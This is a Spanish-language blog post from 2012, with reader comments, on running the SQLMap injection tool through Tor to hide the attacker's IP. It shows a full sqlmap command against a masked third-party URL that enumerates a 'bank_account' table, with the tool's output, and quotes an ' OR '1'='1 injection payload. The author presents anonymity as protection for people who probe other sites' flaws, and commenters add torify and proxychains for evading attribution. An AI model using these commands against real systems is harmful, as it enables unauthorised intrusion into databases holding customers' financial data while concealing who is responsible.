jueves, 8 de marzo de 2012

SQLMap con Tor

Cada vez que oigo la palabra TOR me acuerdo de dos cosas: La primera es de la película "El Trueno Azul", y de Frank Murpy y su "JAFO". La película es antigua antigua, pero es una de esas que se te quedan en la retina cuando eres niño.

La segunda es de una frase de @pof en la mesa redonda en la que participó en la NoConName de este pasado año: "La primera comilla desde casa, el resto desde TOR".

La verdad es que por suerte o por desgracia, a todos los interesados por la seguridad se nos escapa una comilla de vez en cuando, y nos damos cuenta, casi sin querer, de lo fácil que es vulnerar la seguridad de algunos sitios. Yo aporreo el teclado al azar y la mitad de las veces me sale un ' OR '1'='1 , no lo puedo evitar :P

Lamentablemente, la legislación hoy en día nos lo pone difícil, ya que una vez encontrado uno de estos fallos hay que ser valiente para reportarlo. Existen mecanismos, como los CERTs y las Fuerzas y Cuerpos de Seguridad del Estado, sobretodo si quedan "a la vista" datos sensibles de ciudadanos. No obstante, aunque estas entidades nos garanticen el anonimato, la empresa afectada siempre podría buscar en sus logs y acabar viendo tu IP. Aquí es donde entra TOR.


En algún otro post nos meteremos a fondo con como funciona la red TOR, pero para ser prácticos diremos que es un proxy que nos instalamos en nuestro equipo al que podamos conectarnos, y que hace que nuestras conexiones salgan a través de diferentes nodos de la red, distribuidos por todo el mundo. Para saber a que puerto y mediante que protocolo funciona este proxy, simplemente tenemos que ir a las preferencias de red del navegador Firefox que viene con TOR y ver como está configurado:


Algunas herramientas, como SQLMap, ya incorporan directamente soporte para que las utilicemos a través de TOR, aunque podríamos adaptar cualquier herramienta que suporte el uso de proxy SOCKSv5. De esta forma, mediante las opciones --tor, --tor-port y --tor-type podemos configurar SQLMap para que funcione a través de la red TOR, y así olvidarnos de los problemas que podamos tener:

$ ./sqlmap.py -u "http://xxx.yyy.zzz.www/check.php?order=123456" -p order --tor --check-tor --tor-port=50247 --tor-type=SOCKS5 -D checkdb -T bank_account --columns

[02:14:51] [WARNING] increasing default value for --time-sec to 10 because switch '--tor' was provided
[02:14:52] [INFO] setting Tor SOCKS proxy settings
[02:14:52] [INFO] checking Tor connection
[02:14:54] [INFO] Tor is properly being used
[02:14:54] [INFO] using '/opt/sqlmap/output/xxx.yyy.zzz.www/session' as session file
[02:14:54] [INFO] resuming injection data from session file
[02:14:55] [INFO] resuming back-end DBMS 'mysql 5.0.11' from session file
[02:14:55] [INFO] testing connection to the target url
[02:14:58] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 5
web application technology: Apache, PHP 5.2.10, Apache 2.2.3
back-end DBMS: MySQL 5.0.11

Database: checkdb                                                                                                            
Table: bank_account
[3 columns]
+------------------------+---------------+
| Column                  | Type           |
+------------------------+---------------+
| account_name       | varchar(32) |
| account_number  | varchar(32) |
| id                            | int(11)         |
+------------------------+---------------+

"Aguita" como están las cosas por ahí fuera, no quiero ni mirar la tabla :)
Que nadie se olvide que este tipo de medidas sirven para que la empresa no tenga la tentación de querer pagar con nosotros la rabia de tener a la guardia civil encima por un incumplimiento de la LOPD, pero si la lias MUY PARDA entonces ya entra la policía, los ISPs, la colaboración internacional, el profiling, en fin... que no la lieis parda xD

11 comentarios:

chmeee dijo...

Tienes razón, el trueno azul es de esas pelis que se te quedan de niño :). Aunque no sé por qué te recuerda TOR a la película.

A mí me recuerda al disco de Yes Tormato (que iba a llamarse Tor pero que finalmente acabó llamandose Tormato por culpa de unas fotos no muy buenas y un tomatazo).

Jose Selvi dijo...

@chmeee: Al Trueno Azul lo llaman "Proyecto THOR". Lo encuentran escrito así entre los papeles de una senadora a la que asesinan, sino recuerdo mal. Más adelante, en un ordenador descubren el significado:

T - Tactical
H - Helicopter
O - Offensive
R - Response

Ramón dijo...

Para las herramientas que no tengan soporte Tor nativo, ¿no se podría utilizar la herramienta "torify" incluída en el paquete Tor? Lo he probado con algunas herramientas y parece que funciona bien.

Jose Selvi dijo...

@Ramon: No he probado torify, pero imagino que será como un proxychains. Si la herramienta soporta proxy socks, mejor eso que con proxychains/torify, no?

Ramón dijo...

Por supuesto, por eso comentaba que para las herramientas que no tuvieran un soporte nativo (debería de haber dicho de proxy en lugar de tor) podría ser una opción. Efectivamente es algo tipo proxychains solo que ruta el tráfico directamente a través de la red tor.

miguel dijo...

Hola Jose,

Respecto a lo de reportar un fallo de un sitio a los CERTS.¿Se considera un fallo que un sitio tenga un usuario/contraseña muy facilmente adivinable?. ¿Y que entrando se puedean ver datos sensibles de los clientes?

Me refiero a algo del tipo 1234/1234 o nbre_de_la_empresa/nbre_de_la_empresa

Un saludo .

PD: A mi también me gusta probar los ' OR '1'='1

Jose Selvi dijo...

@miguel: Sí, una contraseña muy fácil se considera una vulnerabilidad. Yo la suelo catalogar como "contraseña por defecto o trivial".

Reportalo si lo crees conveniente, en la pagina web de la guardia civil hay un formulario anónimo. Si acedes a través de TOR no deberías ya tener ningún problema.

dudu dijo...

Jose, crees que hay mucha diferencia atacando un target IPv4 con SOCKS5 o con la configuración normal de sqlmap+tor (creo que gasta protocolo SOCKS4 o SOCKS4A).......

p.d.-He estado mirando este link respecto al tema.
https://gitweb.torproject.org/torspec.git?a=blob_plain;hb=HEAD;f=socks-extensions.txt

Jose Selvi dijo...

@dudu: Según tengo entendido (y el documento al que referencias me lo confirma), el SOCKS que usa TOR tiene algunos comandos adicionales al tradicional, pensados para mejorar el anonimato.

Si el cliente que usas soporta TOR (como SQLMap), en principio es mejor usar esta opción, porque no corres el riesgo de que se te escapen las resoluciones DNS por fuera de la red TOR. Si el cliente no soporta TOR espcificamente, va a dar igual, porque no va a aprovechar esta funcionalidad extra.

Si estás accediendo a una IP directamente (no a un nombre), entonces va a dar un poco igual, creo yo.

Si alguien pilota más de los internals de la red TOR y quiere hablar... que ponga un comentario :)

dudu dijo...

@JoseSelvi

Efectivamente hay que marcar el flag de SOCKS proxy en sqlmap, comtenplando la ayuda extra (-hh) vemos esta linea:

--tor-type=TORTYPE Set Tor proxy type (HTTP - default, SOCKS4 or SOCKS5)

Gracias

Javier Cardona dijo...

Excelente aporte... Tenia duda de como usar tor en conjunto con SQLMAP o viceversa... Muy bueno eh!